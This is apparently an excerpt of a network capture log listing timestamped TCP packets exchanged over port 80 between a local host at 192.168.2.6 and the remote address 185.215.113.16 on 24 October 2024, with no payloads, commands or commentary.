Oct 24, 2024 18:08:23.172406912 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.172467947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.172902107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.172964096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.172975063 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.173012018 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.173062086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.173118114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.173132896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.173157930 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.173461914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.173537970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.173554897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.173569918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.173589945 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.173643112 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.173861027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.173907042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.173989058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174004078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174020052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174035072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174050093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174055099 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.174072027 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.174077988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174094915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174118996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174134016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174138069 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.174149990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174164057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174170017 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.174180984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174185038 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.174196959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174212933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174218893 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.174230099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174246073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174249887 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.174287081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.174307108 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.195151091 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.218034983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.218090057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.218102932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.218147993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.218163967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.218178988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.218195915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.218215942 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.218247890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.218265057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.218502045 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.220630884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.220676899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.220683098 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.220693111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.220709085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.220724106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.220742941 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.220747948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.220768929 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.220772028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.220788002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.220804930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.220808983 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.220822096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.220838070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.220839977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.220874071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.220890999 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.220985889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221002102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221019030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221023083 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221034050 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221052885 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221218109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221235037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221256971 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221278906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221293926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221308947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221328020 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221390009 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221395969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221411943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221429110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221443892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221458912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221479893 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221486092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221499920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221539974 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221554041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221604109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221626043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221630096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221651077 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221718073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221730947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221745014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221751928 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221760988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221787930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221801996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221807957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221817017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221833944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221836090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221851110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221852064 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221865892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221882105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.221901894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.221999884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.222019911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.222047091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.222062111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.222081900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.222100973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.222115993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.222469091 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.228817940 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.255362988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255413055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255429983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255497932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.255497932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.255511045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255536079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255551100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255564928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255589962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255594015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.255605936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255621910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255624056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.255636930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255652905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.255654097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255669117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255685091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255692005 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.255701065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255726099 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.255786896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255795002 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.255804062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255963087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.255994081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.256056070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256072044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256117105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256130934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256148100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256150961 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.256164074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256179094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256197929 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.256269932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.256313086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256328106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256342888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256392002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256411076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.256448984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256464005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256484032 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.256517887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256531954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256540060 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.256548882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256565094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256570101 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.256618977 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256634951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256649017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256664991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256669044 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.256669044 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.256742001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.256777048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256814957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256828070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256871939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256886959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256902933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.256910086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.256918907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.257016897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.257041931 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.257083893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.257097960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.257113934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.257121086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.257134914 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.257790089 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.257850885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.257864952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.257888079 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.257910967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.257925987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.257937908 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.257945061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.257967949 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.257970095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.257987022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258002043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258021116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258027077 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258035898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258052111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258054018 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258069038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258074045 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258084059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258099079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258114100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258121967 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258127928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258143902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258150101 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258160114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258164883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258230925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258690119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258706093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258721113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258744001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258744001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258759975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258774042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258789062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258804083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258812904 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258821011 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258824110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258835077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258837938 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258851051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258865118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258872986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258882046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258896112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258902073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258912086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258925915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258932114 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258944988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258959055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258965015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.258975029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258989096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.258995056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.259047985 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.279867887 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.291732073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.291759968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.291868925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.291918039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.291932106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.291945934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.292000055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292013884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292021990 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.292028904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292047024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292057037 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.292093039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292107105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292115927 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.292121887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292136908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292143106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.292152882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292166948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292174101 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.292181969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292193890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292203903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.292208910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292222977 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292242050 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.292360067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292385101 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.292387009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292401075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292424917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.292535067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292551041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292566061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292574883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.292959929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.292989016 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.293031931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.293046951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.293070078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.293329000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.293350935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.293401957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.293401957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.294269085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294408083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294431925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294459105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294473886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294490099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294497967 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.294553995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294579029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294579983 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.294595957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294610977 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294636011 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294651031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294658899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.294677973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294692993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294698000 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.294709921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294724941 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.294730902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.294790030 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.337215900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.337265968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.337282896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.337435007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.337515116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.337531090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.337599993 CEST	80	49744	185.215.113.16	192.168.2.6
